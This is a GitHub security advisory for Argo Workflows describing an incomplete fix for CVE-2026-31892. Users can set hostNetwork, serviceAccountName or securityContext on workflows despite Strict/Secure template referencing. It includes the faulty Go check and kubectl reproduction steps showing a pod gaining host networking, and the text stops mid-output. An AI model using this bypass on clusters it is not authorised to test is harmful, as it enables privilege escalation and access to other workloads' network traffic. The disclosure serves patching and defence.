GitHub Security Advisory: GHSA-3775-99mw-8rp4
Package: github.com/argoproj/argo-workflows/v3 (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 3.7.14
Patched in: 3.7.14

Summary: Argo has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure

Details:
The fix for CVE-2026-31892 (commit 534f4ff) blocks `podSpecPatch` when `templateReferencing: Strict` is active, but doesn't restrict other WorkflowSpec fields that flow through the same merge path and get applied to pods. A user can set `hostNetwork: true`, override `serviceAccountName`, or change `securityContext` on their Workflow while referencing a hardened template -- these survive `JoinWorkflowSpec` and get applied at pod creation.

The check in `setExecWorkflow` gates on `HasPodSpecPatch()` only:

```go
if woc.controller.Config.WorkflowRestrictions.MustUseReference() && woc.wf.Spec.HasPodSpecPatch() {
```

Everything else passes through. `createWorkflowPod` reads `hostNetwork`, `securityContext`, `serviceAccountName`, `tolerations`, and `automountServiceAccountToken` from the merged spec and applies them directly to the pod.

`JoinWorkflowSpec` constructs the merge target from the user's spec and applies the template as a patch -- user fields take priority. When the template doesn't explicitly set a field like `hostNetwork` (most won't -- `false` is the zero value and gets omitted), the user's `true` survives. For fields like `securityContext` and `serviceAccountName`, the template-level value takes precedence IF the template explicitly sets it. The bypass applies when the template relies on defaults.

Both `Strict` and `Secure` modes are affected. `Secure` stores the merged spec on first submission, so user overrides get baked into the stored spec and subsequent `MustNotChangeSpec` comparisons pass.

## Steps to reproduce

Tested on v4.0.2 (the CVE-2026-31892 patched version) on kind v0.27.0 / K8s v1.35.0.

```bash
# enable strict mode
kubectl patch configmap workflow-controller-configmap -n argo --type merge \
  -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'
kubectl rollout restart deployment workflow-controller -n argo
```

A template that lists network interfaces:

```bash
cat <<'EOF' | kubectl apply -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: netcheck
spec:
  entrypoint: check
  templates:
  - name: check
    container:
      image: alpine:latest
      command: ["/bin/sh", "-c"]
      args: ["ip addr show | grep -E '^[0-9]+:' | cut -d: -f2"]
EOF
```

Submit a workflow with `hostNetwork: true`:

```bash
cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: bypass-
spec:
  workflowTemplateRef:
    name: netcheck
  hostNetwork: true
EOF
```

Pod gets host networking:

```
$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-bmg9b -o jsonpath='{.items[0].spec.hostNetwork}'
true
```

Container without the override sees `eth0@if20`. With the override, the pod sees the host's full network namespace -- all veth interfaces for other containers on the node.

`podSpecPatch` IS correctly blocked on the same cluster:

```
$ kubectl get workflow patched-check-jd272 -n argo -o jsonpath='{.status.message}'
pod